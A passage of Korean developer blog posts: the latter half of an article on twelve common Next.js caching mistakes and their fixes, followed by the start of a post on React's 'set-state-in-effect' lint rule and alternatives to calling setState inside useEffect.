캐시 파일의 내용을 직접 보고 싶다면:

```bash
cat .next/cache/fetch-cache/<해시값> | jq
```

여기서 `revalidate` 값, `tags`, 캐시된 응답 데이터 등을 확인할 수 있다.

## 4단계: 실무에서 흔히 발생하는 실수

### 실수 1: 모든 페이지에 force-dynamic 설정

**증상**: "페이지 로딩이 느려졌어요", "서버 비용이 예상보다 많이 나와요", "TTFB가 높아요"

**왜 이런 일이 발생하는가?**

`force-dynamic`을 설정하면 해당 페이지는 **모든 요청마다 서버에서 새로 렌더링**된다. 정적 페이지는 빌드 시 HTML을 미리 만들어두고 CDN에서 바로 반환하므로 수 밀리초 안에 응답할 수 있다. 하지만 동적 페이지는 요청이 들어올 때마다:

1. 서버가 요청을 받음
2. 데이터를 페칭 (있다면)
3. React로 렌더링
4. HTML 생성
5. 응답

이 모든 과정을 거친다. 변경될 데이터가 없는 "회사 소개" 같은 페이지를 동적으로 만들면, 사용자는 매번 불필요하게 기다려야 하고, 서버리스 환경에서는 함수 호출 비용이 계속 발생한다.

```tsx
// ❌ 잘못된 접근: 정적 콘텐츠인데 동적으로 설정
export const dynamic = 'force-dynamic'

export default async function AboutPage() {
  return (
    <div>
      <h1>회사 소개</h1>
      <p>우리는 2020년에 설립되었습니다...</p>
    </div>
  )
}
```

**결과:**

- TTFB 증가: 정적 페이지는 CDN에서 바로 응답하지만, 동적 페이지는 서버 렌더링을 거쳐야 함
- 서버리스 비용: 매 요청마다 함수 실행 비용 발생
- CDN 효과 감소: 정적이면 엣지에서 바로 응답, 동적이면 항상 오리진 서버까지 왕복

```tsx
// ✅ 정적 페이지는 기본값 유지
export default async function AboutPage() {
  return (
    <div>
      <h1>회사 소개</h1>
      <p>우리는 2020년에 설립되었습니다...</p>
    </div>
  )
}
```

### 실수 2: 래퍼 함수로 감싼 fetch 캐시 안 됨

[GitHub Issue #71881](https://github.com/vercel/next.js/issues/71881)에서 많이 보고된 문제다.

```tsx
// ❌ 모듈 스코프에서 fetch를 캡처
const originalFetch = fetch

function loggedFetch(url: string, options?: RequestInit) {
  console.log('Fetching:', url)
  return originalFetch(url, options) // Next.js 패칭이 적용 안 됨!
}

export async function getData() {
  return loggedFetch('https://api.example.com/data', {
    cache: 'force-cache', // 무시됨!
  })
}
```

**문제 발생 원리:**

1. 모듈 로드 시점에 `const originalFetch = fetch` 실행 (원본 fetch 캡처)
2. 이후 Next.js가 fetch를 확장 (패칭 적용)
3. `loggedFetch` 호출 시 원본 fetch 사용 → 캐싱 동작 안 함 ❌

**해결책:** 호출 시점에 fetch를 참조하면 확장된 fetch를 사용하게 된다.

```tsx
// ✅ 호출 시점에 fetch 참조
function loggedFetch(url: string, options?: RequestInit) {
  console.log('Fetching:', url)
  return fetch(url, options) // 호출 시점의 (패칭된) fetch 사용
}

// ✅ 또는 함수를 인자로 받기
function createLoggedFetch(fetchFn: typeof fetch) {
  return (url: string, options?: RequestInit) => {
    console.log('Fetching:', url)
    return fetchFn(url, options)
  }
}
```

### 실수 3: 개발 환경에서만 테스트

**증상**: "로컬에서는 잘 되는데 프로덕션에서 이상해요", "배포하니까 데이터가 안 바뀌어요"

**왜 이런 일이 발생하는가?**

`npm run dev`로 실행하는 개발 서버는 **개발 편의성**을 위해 캐싱 동작이 프로덕션과 다르다. 가장 큰 차이는 **Full Route Cache가 완전히 비활성화**된다는 것이다.

개발 중에는 코드를 수정하면 바로 결과를 확인해야 한다. 만약 페이지가 캐시되어 있다면, 코드를 바꿔도 캐시된 HTML이 반환되어 변경사항을 확인할 수 없다. 그래서 개발 서버는 모든 페이지를 동적으로 렌더링한다.

문제는 이 환경에서만 테스트하면, **프로덕션의 캐싱 동작을 전혀 경험하지 못한다**는 것이다. 정적 페이지가 예상대로 캐시되는지, `revalidate` 설정이 제대로 동작하는지, Router Cache로 인한 데이터 불일치가 있는지 모두 확인할 수 없다.

| 캐시 레이어         | `npm run dev`  | `npm run build && start` |
| ------------------- | -------------- | ------------------------ |
| Request Memoization | ✅             | ✅                       |
| Data Cache          | ✅             | ✅                       |
| Full Route Cache    | ❌ (항상 동적) | ✅                       |
| Router Cache        | ⚠️ (제한적)    | ✅                       |

**해결책:**

캐싱 관련 기능을 테스트할 때는 반드시 프로덕션 빌드로 확인해야 한다:

```bash
# 캐싱을 정확히 테스트하려면
npm run build && npm run start

# 또는 프로덕션 환경과 동일하게
NODE_ENV=production npm run build && npm run start
```

빌드 로그에서 각 페이지의 렌더링 타입(○/●/λ)을 확인하고, 실제로 페이지를 여러 번 방문하며 캐시 동작을 검증하자.

### 실수 4: Router Cache로 인한 데이터 불일치

**증상**: "다른 탭에서 데이터를 수정했는데 이 탭에서는 안 보여요", "삭제했는데 뒤로가기하니까 다시 나타나요"

**왜 이런 일이 발생하는가?**

Router Cache는 **클라이언트 브라우저 메모리**에 저장된다. 서버에서 `revalidatePath()`를 호출해도, 다른 탭이나 다른 브라우저의 Router Cache는 무효화되지 않는다. 뒤로가기 시에는 bfcache처럼 이전 상태를 그대로 보여준다.

**흔한 시나리오: 삭제 후 뒤로가기**

```tsx
// 1. 목록 페이지 (/posts)에서 게시글 클릭 → /posts/123 이동
// 2. 게시글 삭제 버튼 클릭
async function deletePost(id: string) {
  await fetch(`/api/posts/${id}`, {method: 'DELETE'})
  router.push('/posts') // 목록으로 이동
}
// 3. 목록에서 삭제된 것 확인 (state로 UI 업데이트)
// 4. 브라우저 뒤로가기 버튼 클릭
// 5. ??? 삭제된 게시글이 다시 보인다!

// 원인: Router Cache에 /posts/123 페이지가 캐시되어 있음
// 뒤로가기는 캐시된 페이지를 그대로 보여줌
```

**다른 탭 동기화 문제**

```mermaid
sequenceDiagram
    participant TabA as 탭 A
    participant TabB as 탭 B
    participant Server as 서버
    participant DB as Database

    TabA->>Server: /posts 페이지 방문
    Server-->>TabA: 게시글 [1, 2, 3]
    Note over TabA: Router Cache 저장

    TabB->>Server: 새 게시글 작성
    Server->>DB: 게시글 4 저장
    Note over Server: revalidatePath('/posts')

    TabA->>TabA: 다른 페이지로 이동
    TabA->>TabA: /posts로 다시 이동

    alt Next.js 14
        Note over TabA: Router Cache에서<br/>[1, 2, 3] 반환<br/>게시글 4 안 보임!
    else Next.js 15
        TabA->>Server: 서버에 요청
        Server-->>TabA: [1, 2, 3, 4]
        Note over TabA: 최신 데이터 표시 ✅
    end
```

**해결책 (Next.js 14):**

```js
// next.config.js
module.exports = {
  experimental: {
    staleTimes: {
      dynamic: 0, // 동적 페이지: 캐시 안 함
      static: 180, // 정적 페이지: 3분
    },
  },
}
```

**해결책 1: 삭제 후 뒤로가기 문제**

```tsx
// Server Action 사용 시 자동으로 Router Cache 무효화
'use server'

export async function deletePost(id: string) {
  await db.post.delete({where: {id}})
  revalidatePath('/posts')
  revalidatePath(`/posts/${id}`) // 상세 페이지 캐시도 무효화
  redirect('/posts')
}

// 또는 클라이언트에서 router.refresh() 호출
;('use client')

async function handleDelete(id: string) {
  await fetch(`/api/posts/${id}`, {method: 'DELETE'})
  router.refresh() // 현재 페이지의 Router Cache 무효화
  router.push('/posts')
}
```

**해결책 2: 실시간 동기화가 필요하면 폴링**

```tsx
'use client'

import {useEffect} from 'react'
import {useRouter} from 'next/navigation'

function useLiveRefresh(intervalMs = 30000) {
  const router = useRouter()

  useEffect(() => {
    const interval = setInterval(() => {
      router.refresh()
    }, intervalMs)

    return () => clearInterval(interval)
  }, [router, intervalMs])
}

function PostList({posts}) {
  useLiveRefresh(30000) // 30초마다 새로고침

  return posts.map((post) => <PostCard key={post.id} post={post} />)
}
```

### 실수 5: 사용자별 데이터를 전역 캐시에 저장

**증상**: "다른 사용자의 개인정보가 내 화면에 보여요" (보안 사고!)

**왜 이런 일이 발생하는가?**

Data Cache는 **전역 캐시**다. 캐시 키는 URL과 옵션으로만 생성되고, 요청한 사용자가 누구인지는 고려하지 않는다. 따라서 사용자 A가 `/api/me`를 요청해서 캐시되면, 사용자 B도 같은 캐시된 응답(사용자 A의 데이터)을 받게 된다.

```tsx
// ❌ 위험: 모든 사용자에게 동일한 캐시 반환
export default async function Dashboard() {
  const user = await fetch('https://api.example.com/me', {
    cache: 'force-cache', // 첫 번째 사용자의 데이터가 모든 사용자에게!
  }).then((r) => r.json())

  return <div>안녕하세요, {user.name}님</div>
}
```

```mermaid
sequenceDiagram
    participant UserA as 사용자 A
    participant UserB as 사용자 B
    participant Cache as Data Cache
    participant API as API

    UserA->>Cache: GET /me (with Auth: A)
    Cache->>API: 요청
    API-->>Cache: { name: "Alice" }
    Note over Cache: 캐시 저장!
    Cache-->>UserA: { name: "Alice" } ✅

    UserB->>Cache: GET /me (with Auth: B)
    Note over Cache: 캐시 히트!<br/>(인증 헤더 무시됨)
    Cache-->>UserB: { name: "Alice" } ❌<br/>다른 사용자 데이터 노출!
```

```tsx
// ✅ 사용자별 데이터는 캐시하지 않음
export default async function Dashboard() {
  const user = await fetch('https://api.example.com/me', {
    cache: 'no-store',
    headers: {
      Authorization: `Bearer ${cookies().get('token')?.value}`,
    },
  }).then((r) => r.json())

  return <div>안녕하세요, {user.name}님</div>
}

// ✅ 또는 cookies()로 동적 렌더링 트리거
export default async function Dashboard() {
  const token = cookies().get('token')?.value // 동적 렌더링

  const user = await fetch('https://api.example.com/me', {
    headers: {Authorization: `Bearer ${token}`},
    // cache 옵션 없음 = Next.js 15에서는 no-store
  }).then((r) => r.json())

  return <div>안녕하세요, {user.name}님</div>
}
```

### 실수 6: revalidate 시간 설정 미스

**증상**: "API 서버에 요청이 너무 많이 들어와요", "캐시하는 의미가 없어요", "페이지마다 revalidate가 다른데 뭐가 맞는지 모르겠어요"

**왜 이런 일이 발생하는가?**

`revalidate` 값은 "이 데이터가 얼마나 자주 변할 수 있는가"와 "얼마나 오래된 데이터를 사용자에게 보여줘도 괜찮은가"의 균형점이다. 이 값을 너무 짧게 설정하면 캐싱의 이점이 사라지고 API 서버에 부하가 걸린다. 반대로 너무 길게 설정하면 데이터가 오래되어 사용자 경험이 나빠진다.

가장 흔한 실수는 **모든 데이터에 동일한 값을 적용**하거나, **"일단 짧게 하면 안전하겠지"라는 생각으로 1~10초를 설정**하는 것이다. 1초로 설정하면 사실상 캐시가 없는 것과 다름없고, 트래픽이 몰리면 API 서버가 감당할 수 없다.

**데이터 특성별 가이드:**

| 데이터 특성    | 예시             | 권장 설정                          |
| -------------- | ---------------- | ---------------------------------- |
| 실시간 필수    | 주식, 채팅, 알림 | `cache: 'no-store'` 또는 WebSocket |
| 분 단위 갱신   | 댓글, 좋아요     | `revalidate: 30~60`                |
| 시간 단위 갱신 | 블로그 글, 상품  | `revalidate: 3600`                 |
| 일 단위 갱신   | 정책 페이지      | `revalidate: 86400`                |
| 거의 변경 없음 | 회사 소개        | 정적 렌더링 (기본값)               |

**흔한 실수 예시:**

```tsx
// ❌ 1초마다 재검증? API 서버 과부하!
fetch('https://api.example.com/data', {
  next: {revalidate: 1},
})

// ❌ 모든 페이지에 동일한 값
export const revalidate = 60 // 이게 정말 모든 데이터에 적절한가?
```

```tsx
// ✅ 데이터 특성에 맞게 개별 설정
async function ProductPage({params}) {
  // 상품 정보: 1시간 캐시 (가끔 변경)
  const product = await fetch(`/api/products/${params.id}`, {
    next: {revalidate: 3600},
  })

  // 재고: 1분 캐시 (자주 변경)
  const stock = await fetch(`/api/stock/${params.id}`, {
    next: {revalidate: 60},
  })

  // 리뷰: 5분 캐시
  const reviews = await fetch(`/api/reviews/${params.id}`, {
    next: {revalidate: 300},
  })
}
```

### 실수 7: 배포 후 Data Cache 미갱신

**증상**: "배포했는데 왜 데이터가 그대로예요?", "API 응답이 옛날 거예요", "새 코드는 배포됐는데 화면이 안 바뀌어요"

**왜 이런 일이 발생하는가?**

**Full Route Cache와 Data Cache는 새 배포에 다르게 반응**한다. Full Route Cache(정적 HTML)는 빌드할 때 새로 생성되므로 항상 최신 상태다. 하지만 Data Cache(fetch 응답)는 **빌드와 무관하게 서버에 남아있다**.

이유는 간단하다. Full Route Cache는 "빌드 결과물"이므로 새 빌드가 이전 결과물을 덮어쓴다. 반면 Data Cache는 "런타임에 저장된 API 응답"이므로 `.next/cache/fetch-cache/` 디렉토리가 유지되는 한 계속 남아있다.

특히 Vercel 같은 플랫폼에서는 Data Cache가 글로벌 저장소에 있어서, 새 배포를 해도 이전에 캐시된 API 응답을 그대로 사용한다. 이로 인해 "코드는 바뀌었는데 데이터는 옛날 거"라는 상황이 발생한다.

| 캐시 종류        | 배포 후 상태            | 이유                          |
| ---------------- | ----------------------- | ----------------------------- |
| Full Route Cache | 새로 생성 ✅            | 빌드 결과물이므로 덮어씀      |
| Data Cache       | **이전 데이터 유지 ⚠️** | 런타임 캐시이므로 빌드와 무관 |

**해결책:**

```tsx
// 방법 1: 배포 시 캐시 태그 무효화
// deploy.sh
curl -X POST https://your-site.com/api/revalidate \
  -H "Authorization: Bearer $REVALIDATE_SECRET" \
  -d '{"tag": "all"}'

// 방법 2: 빌드 ID를 캐시 키에 포함
const buildId = process.env.BUILD_ID || 'development'

fetch(`https://api.example.com/data?v=${buildId}`, {
  next: { revalidate: 3600 }
})

// 방법 3: 배포 후 첫 요청에서 revalidate
// middleware.ts
export function middleware(request: NextRequest) {
  const deployTime = process.env.DEPLOY_TIME
  const lastRevalidate = request.cookies.get('last-revalidate')?.value

  if (deployTime !== lastRevalidate) {
    // 새 배포 감지 → 캐시 무효화 로직
  }
}
```

### 실수 8: 의도치 않은 동적 렌더링 전환

**증상**: "빌드 로그에 λ (dynamic)이 너무 많아요", "정적이어야 할 페이지가 느려요"

**왜 이런 일이 발생하는가?**

Next.js는 빌드 시점에 각 페이지를 분석해서 정적/동적을 결정한다. `cookies()`, `headers()`, `searchParams` 같은 **요청 시점에만 알 수 있는 정보**를 사용하면, 빌드 타임에 페이지를 미리 생성할 수 없으므로 동적 렌더링으로 전환된다.

문제는 이 함수들을 **한 번이라도 호출하면 페이지 전체가 동적**이 된다는 것이다. 단순히 테마 쿠키를 읽으려고 `cookies()`를 호출했는데, 페이지의 모든 데이터 캐싱 전략이 무력화될 수 있다.

```tsx
// ❌ 문제: 단순히 테마 확인을 위해 cookies() 호출
// → 페이지 전체가 동적 렌더링 (Full Route Cache 안 됨)
export default async function BlogPost({params}) {
  const theme = cookies().get('theme')?.value || 'light' // 동적 전환!

  const post = await fetch(`/api/posts/${params.slug}`, {
    next: {revalidate: 3600},
  })

  return <Article post={post} theme={theme} />
}

// ✅ 해결: 동적 부분을 Client Component로 분리
export default async function BlogPost({params}) {
  const post = await fetch(`/api/posts/${params.slug}`, {
    next: {revalidate: 3600},
  })

  return (
    <Article post={post}>
      <ThemeProvider /> {/* Client Component에서 쿠키 읽기 */}
    </Article>
  )
}
```

**동적 렌더링을 트리거하는 API:**

- `cookies()`, `headers()` - 요청별 정보
- `searchParams` - URL 쿼리 파라미터
- `connection()` - 네트워크 연결 정보
- `unstable_noStore()` - 명시적 opt-out

### 실수 9: searchParams 사용 시 캐싱 무력화

**증상**: "URL에 쿼리 파라미터만 추가했는데 페이지가 느려졌어요"

**왜 이런 일이 발생하는가?**

`searchParams`는 URL의 쿼리 파라미터(`?category=books`)를 읽는다. 이 값은 **사용자가 접속할 때마다 다를 수 있으므로**, 빌드 타임에 미리 알 수 없다. 따라서 `searchParams`를 props로 받거나 접근하는 순간, Next.js는 해당 페이지를 동적으로 처리한다.

```tsx
// ❌ 문제: searchParams 사용 → 정적 페이지가 동적으로
export default async function ProductList({
  searchParams
}: {
  searchParams: { category?: string }
}) {
  // searchParams 접근만으로 동적 렌더링!
  const category = searchParams.category || 'all'

  const products = await fetch(`/api/products?category=${category}`)
  return <ProductGrid products={products} />
}

// ✅ 해결: generateStaticParams로 주요 카테고리 미리 생성
export async function generateStaticParams() {
  return [
    { category: 'electronics' },
    { category: 'clothing' },
    { category: 'books' },
  ]
}

// 또는 클라이언트에서 필터링
export default async function ProductList() {
  const products = await fetch('/api/products', {
    next: { revalidate: 300 }
  })

  return <ProductGrid products={products} />  {/* 클라이언트에서 필터 */}
}
```

### 실수 10: fetch 옵션 충돌

**증상**: "`revalidate: 3600` 설정했는데 왜 캐시가 안 되지?", "어떤 옵션이 적용된 건지 모르겠어요"

**왜 이런 일이 발생하는가?**

Next.js의 `fetch`는 두 가지 캐싱 옵션을 받는다: 표준 `cache` 옵션과 Next.js 전용 `next` 옵션. 둘 다 설정하면 **우선순위 규칙**에 따라 하나만 적용되는데, 이 규칙을 모르면 의도와 다르게 동작한다.

```tsx
// ❌ 혼란: 어떤 설정이 적용될까?
fetch(url, {
  cache: 'force-cache',
  next: {revalidate: 0}, // revalidate: 0은 no-store와 동일
})
// → revalidate: 0이 우선! 캐시되지 않음

// ❌ 의미 없는 조합
fetch(url, {
  cache: 'no-store',
  next: {revalidate: 3600}, // 무시됨
})

// ✅ 명확하게 하나만 사용
fetch(url, {cache: 'force-cache'}) // 영구 캐시
fetch(url, {cache: 'no-store'}) // 캐시 안 함
fetch(url, {next: {revalidate: 3600}}) // 1시간 캐시
```

**우선순위:**

1. `cache: 'no-store'` → 무조건 캐시 안 함
2. `next: { revalidate: 0 }` → 캐시 안 함
3. `next: { revalidate: N }` → N초 캐시
4. `cache: 'force-cache'` → 영구 캐시

### 실수 11: generateStaticParams 미반환 페이지의 첫 요청 지연

**증상**: "새 블로그 글 URL로 처음 접속하면 몇 초씩 걸려요", "인기 글은 빠른데 오래된 글은 느려요"

**왜 이런 일이 발생하는가?**

`generateStaticParams`에서 반환한 경로들만 빌드 타임에 미리 생성된다. 나머지 경로는 `dynamicParams: true`(기본값)일 때 **첫 요청 시점에 생성**된다. 이 첫 번째 사용자는 전체 렌더링 시간(데이터 페칭 + 렌더링)을 기다려야 한다. 생성된 후에는 캐시되어 빠르지만, "첫 타자"는 느린 경험을 하게 된다.

```tsx
// app/blog/[slug]/page.tsx
export async function generateStaticParams() {
  // 인기 글 10개만 빌드 타임에 생성
  const popularPosts = await getPopularPosts(10)
  return popularPosts.map((post) => ({slug: post.slug}))
}

export const dynamicParams = true // 나머지는 요청 시 생성
```

**문제**: `generateStaticParams`에 없는 페이지(예: `/blog/obscure-post`)의 첫 요청자는 전체 렌더링 시간을 기다려야 한다.

**해결책:**

```tsx
// 1. 로딩 UI 제공
// app/blog/[slug]/loading.tsx
export default function Loading() {
  return <ArticleSkeleton />
}

// 2. 또는 더 많은 페이지를 미리 생성
export async function generateStaticParams() {
  const allPosts = await getAllPosts() // 전체 생성
  return allPosts.map((post) => ({slug: post.slug}))
}
```

### 실수 12: Server Action에서 캐시 무효화 타이밍

**증상**: "폼 제출 후 리다이렉트되는데 데이터가 안 바뀌어 있어요", "새로고침하면 보여요"

**왜 이런 일이 발생하는가?**

`revalidatePath()`와 `redirect()`를 함께 사용할 때, 캐시 무효화가 **비동기적으로** 처리될 수 있다. `redirect()`가 먼저 실행되면, 클라이언트는 아직 무효화되지 않은 캐시를 받을 수 있다. 특히 Router Cache가 남아있으면 이전 데이터가 보인다.

```tsx
// ❌ 문제: revalidate 후 redirect하면 캐시 갱신 전에 이동
'use server'

export async function updateProfile(formData: FormData) {
  await db.user.update({ ... })

  revalidatePath('/profile')
  redirect('/profile')  // 캐시 갱신 전에 리다이렉트될 수 있음!
}

// ✅ 해결: redirect 없이 revalidate만, 또는 클라이언트에서 처리
'use server'

export async function updateProfile(formData: FormData) {
  await db.user.update({ ... })
  revalidatePath('/profile')
  // redirect 없이 반환 → 클라이언트가 router.refresh() 또는 router.push()
}
```

## 캐싱 설계 체크리스트

프로젝트에서 캐싱을 설계할 때 다음 질문들을 순서대로 확인하자:

1. **사용자별로 다른 데이터인가?**
   - 예 → `no-store` + `cookies()`/`headers()`

2. **실시간 동기화가 필요한가?**
   - 예 → `no-store` 또는 WebSocket/SSE

3. **변경 빈도는?**
   - 초 단위 → `revalidate: 10~30`
   - 분 단위 → `revalidate: 60~300`
   - 시간 단위 → `revalidate: 3600`
   - 거의 안 변함 → 정적 렌더링 (기본값)

4. **온디맨드 무효화가 필요한가?**
   - 예 → `tags` 추가 + `revalidateTag()` 사용

| 시나리오      | 권장 설정                    | 이유                                            |
| ------------- | ---------------------------- | ----------------------------------------------- |
| 상품 목록     | `revalidate: 300` + `tags`   | 재고/가격이 가끔 변경, 관리자 수정 시 즉시 반영 |
| 사용자 프로필 | `no-store` + `cookies()`     | 개인 데이터, 절대 캐시 금지                     |
| 블로그 글     | `revalidate: 3600` + `tags`  | 자주 안 바뀜, 수정 시 즉시 반영                 |
| 댓글 목록     | `revalidate: 60`             | 자주 변경, 1분 지연 허용                        |
| 뉴스 피드     | `revalidate: 30`             | 빠른 갱신 필요                                  |
| 정적 페이지   | 기본값 (Full Route Cache)    | 변경 없음                                       |
| 대시보드      | `no-store` + 클라이언트 폴링 | 실시간 필요                                     |

## 결론

Next.js의 캐싱은 4개의 레이어가 복잡하게 얽혀있지만, 각 레이어의 역할과 상호작용을 이해하면 효과적으로 활용할 수 있다.

**핵심 정리:**

1. **Request Memoization**: React 기능, 렌더링 중 중복 요청 제거, 단일 요청 범위
2. **Data Cache**: 서버에 영구 저장, 배포 후에도 유지(!), `revalidateTag`로 무효화
3. **Full Route Cache**: 정적 페이지를 빌드 시 캐시, Dynamic API 사용 시 자동 opt-out
4. **Router Cache**: 클라이언트 메모리, Next.js 15에서 페이지 캐시 기본 비활성화

**Next.js 15의 철학 전환:**

> "숨겨진 캐시는 없어야 한다"

이제 개발자가 명시적으로 캐싱을 활성화해야 하므로, "왜 데이터가 안 바뀌지?" 같은 혼란은 줄어들 것이다. 대신 "어떤 데이터를 얼마나 캐시할 것인가"를 적극적으로 설계해야 한다.

**앞으로의 방향:**

`use cache` 디렉티브와 **PPR(Partial Prerendering)** 이 안정화되면, 캐싱은 더욱 직관적이 될 것이다.

PPR은 하나의 페이지에서 정적 셸(헤더, 푸터 등)은 빌드 타임에 캐시하고, 동적 콘텐츠(`<Suspense>`로 감싼 부분)는 요청 시 스트리밍하는 새로운 렌더링 전략이다. 이를 통해 "정적 vs 동적"이라는 이분법에서 벗어나, 하나의 페이지 내에서도 세분화된 캐싱 전략을 적용할 수 있게 된다.

결국 미래의 Next.js 캐싱은 두 가지 개념만 기억하면 된다:

- `"use cache"`: 이 함수/컴포넌트의 결과를 캐시해라
- `<Suspense>`: 이 부분은 동적으로 스트리밍해라

그때까지는 현재의 4가지 레이어를 잘 이해하고 활용하는 것이 중요하다.

## 참고

- [Next.js 공식 문서: Caching](https://nextjs.org/docs/app/guides/caching)
- [Next.js 블로그: Our Journey with Caching](https://nextjs.org/blog/our-journey-with-caching)
- [React 공식 문서: cache](https://react.dev/reference/react/cache)
- [GitHub Discussion #54075: Deep Dive: Caching and Revalidating](https://github.com/vercel/next.js/discussions/54075)
- [GitHub Issue #71881: Unclear caching behavior in Next.js 14 and 15](https://github.com/vercel/next.js/issues/71881)
- [Next.js 공식 문서: generateStaticParams](https://nextjs.org/docs/app/api-reference/functions/generate-static-params)
- [Next.js 공식 문서: unstable_cache](https://nextjs.org/docs/app/api-reference/functions/unstable_cache)
- [Web Dev Simplified: Finally Master Next.js's Most Complex Feature](https://blog.webdevsimplified.com/2024-01/next-js-app-router-cache/)
- [TrackJS: Common Errors in Next.js Caching](https://trackjs.com/blog/common-errors-in-nextjs-caching/)
- [Flightcontrol: Secret knowledge to self-host Next.js](https://www.flightcontrol.dev/blog/secret-knowledge-to-self-host-nextjs)

---

Source: https://yceffort.kr/2025/12/react-set-state-in-effect-lint-rule.md
Title: React의 새로운 lint 규칙: set-state-in-effect
Description: Effect에서 setState를 호출하면 안 되는 이유와 대안
Date: 2025-12-16
Tags: react, javascript, testing

## Table of Contents

## 개요

`eslint-plugin-react-hooks` 6.1.0 버전부터 `set-state-in-effect`라는 새로운 규칙이 추가되었다. 이 규칙은 React Compiler 기반의 새로운 lint 규칙 중 하나로, `useEffect` 안에서 동기적으로 `setState`를 호출하는 패턴을 잡아낸다.

그동안 React 문서에서는 "You Might Not Need an Effect"라는 제목으로 불필요한 Effect 사용을 경고해왔지만, 실제로 이를 강제하는 lint 규칙은 없었다. 이제 공식적으로 이 패턴을 감지하고 경고하는 규칙이 생긴 것이다.

## 왜 이 규칙이 생겼나?

Effect 안에서 `setState`를 동기적으로 호출하면 다음과 같은 문제가 발생한다.

1. 컴포넌트가 렌더링된다
2. DOM이 업데이트된다
3. Effect가 실행되고, `setState`가 호출된다
4. **다시 렌더링이 시작된다**
5. DOM이 또 업데이트된다

결과적으로 한 번의 렌더링으로 끝날 일을 두 번에 걸쳐 처리하게 된다. 이는 성능 저하를 일으키고, 브라우저가 화면을 그리기 전에 재렌더링이 발생하면 화면 깜빡임(flicker)까지 발생할 수 있다.

### React Compiler와의 관계

이 규칙이 **지금** 추가된 것은 우연이 아니다. React 19와 함께 정식 출시된 **React Compiler**와 직접적인 관련이 있다.

React Compiler는 `useMemo`, `useCallback`, `React.memo`를 수동으로 작성하지 않아도 자동으로 메모이제이션을 적용해주는 빌드 타임 도구다. Meta에서 10년 가까이 개발해온 프로젝트로, 실제로 최대 12%의 로딩 속도 향상과 2.5배 빠른 인터랙션을 달성했다고 한다.

하지만 Compiler가 제대로 작동하려면 코드가 **Rules of React**를 따라야 한다. 컴포넌트는 순수해야 하고, 같은 입력에 같은 출력을 반환해야 하며, side effect는 렌더링 밖에서 실행되어야 한다. Effect 안에서 동기적으로 `setState`를 호출하는 패턴은 이 규칙을 위반한다.

규칙을 위반하는 코드가 발견되면 Compiler는 해당 컴포넌트의 최적화를 **건너뛴다**. 앱이 깨지지는 않지만, 해당 부분은 최적화의 혜택을 받지 못한다. `set-state-in-effect` 규칙은 이런 위반을 컴파일 타임에 미리 잡아내기 위해 추가된 것이다.

결국 이 규칙은 단순한 코드 스타일 가이드가 아니다. React Compiler 시대에 최적화 혜택을 온전히 받기 위한 **필수 조건**에 가깝다.

## 흔히 보이는 안티패턴들

### Props를 State에 복사하기

가장 흔한 실수다.

```jsx
function Component({data}) {
  const [items, setItems] = useState([])

  useEffect(() => {
    setItems(data)
  }, [data])

  return <List items={items} />
}
```

이 코드는 `data`가 바뀔 때마다 불필요한 추가 렌더링을 발생시킨다. 그냥 `data`를 직접 사용하면 될 일이다.

```jsx
function Component({data}) {
  return <List items={data} />
}
```

### 렌더링 중에 할 수 있는 계산을 Effect에서 하기

```jsx
function Component({rawData}) {
  const [processed, setProcessed] = useState([])

  useEffect(() => {
    setProcessed(rawData.map((item) => transform(item)))
  }, [rawData])

  return <List items={processed} />
}
```

데이터 변환은 렌더링 중에 수행할 수 있다. 굳이 state로 관리할 필요가 없다.

```jsx
function Component({rawData}) {
  const processed = rawData.map((item) => transform(item))
  return <List items={processed} />
}
```

만약 변환 비용이 비싸다면 `useMemo`를 사용하면 된다.

```jsx
function Component({rawData}) {
  const processed = useMemo(
    () => rawData.map((item) => transform(item)),
    [rawData],
  )

  return <List items={processed} />
}
```

### Props에서 파생 가능한 값을 State로 관리하기

```jsx
function Component({selectedId, items}) {
  const [selected, setSelected] = useState(null)

  useEffect(() => {
    setSelected(items.find((item) => item.id === selectedId))
  }, [selectedId, items])

  return <Detail item={selected} />
}
```

`selected`는 `selectedId`와 `items`에서 언제든 계산할 수 있다. state가 필요 없다.

```jsx
function Component({selectedId, items}) {
  const selected = items.find((item) => item.id === selectedId)
  return <Detail item={selected} />
}
```

### useMount 패턴

SSR 환경에서 hydration 불일치를 피하기 위해 흔히 사용되는 패턴이다.

```jsx
function Component() {
  const [mounted, setMounted] = useState(false)

  useEffect(() => {
    setMounted(true)
  }, [])

  if (!mounted) return null

  return <ClientOnlyContent />
}
```

이 패턴은 서버에서는 아무것도 렌더링하지 않고, 클라이언트에서 마운트 후 콘텐츠를 보여주는 방식이다. 언뜻 보면 SSR 문제를 해결하는 합리적인 방법 같지만, 사실 이것도 **안티패턴**이다.

`true`는 렌더링 시점에 이미 알고 있는 상수값이다. DOM 측정처럼 "렌더링 후에야 알 수 있는 값"이 아니다. 결국 불필요한 cascading render(이중 렌더링)를 발생시킨다.

#### 대안 1: useSyncExternalStore

React 18부터 제공되는 `useSyncExternalStore`를 사용하면 Effect 없이도 SSR/CSR 분기를 처리할 수 있다.

```jsx
function useIsMounted() {
  return useSyncExternalStore(
    () => () => {},
    () => true, // 클라이언트에서는 true
    () => false, // 서버에서는 false
  )
}

function Component() {
  const mounted = useIsMounted()

  if (!mounted) return null

  return <ClientOnlyContent />
}
```

이 방식은 useEffect도 없고, 불필요한 재렌더링도 없다.

#### 대안 2: Next.js dynamic import

Next.js를 사용한다면 `dynamic` import로 SSR 자체를 건너뛸 수 있다.

```jsx
import dynamic from 'next/dynamic'

const ClientOnlyComponent = dynamic(() => import('./ClientOnlyComponent'), {
  ssr: false,
})
```

#### 왜 useSyncExternalStore는 재렌더링을 일으키지 않는가?

`useEffect` + `setState` 조합과 달리 `useSyncExternalStore`가 cascading render를 피할 수 있는 이유는 React의 렌더링 라이프사이클과 **동기적으로 통합**되어 있기 때문이다.

`useEffect`는 렌더링이 완료된 **후에** 실행된다. 따라서 Effect 안에서 `setState`를 호출하면 새로운 렌더링 사이클이 시작될 수밖에 없다.

반면 `useSyncExternalStore`는 렌더링 **중에** 스냅샷을 읽는다. 세 번째 인자인 `getServerSnapshot`이 핵심인데, 서버에서는 이 값을 사용하고 클라이언트 hydration 시에도 이 값으로 시작한다. hydration이 완료된 후 `getSnapshot`이 다른 값을 반환하면 그때 리렌더링이 발생하지만, 이는 React가 예상하고 관리하는 정상적인 흐름이다.

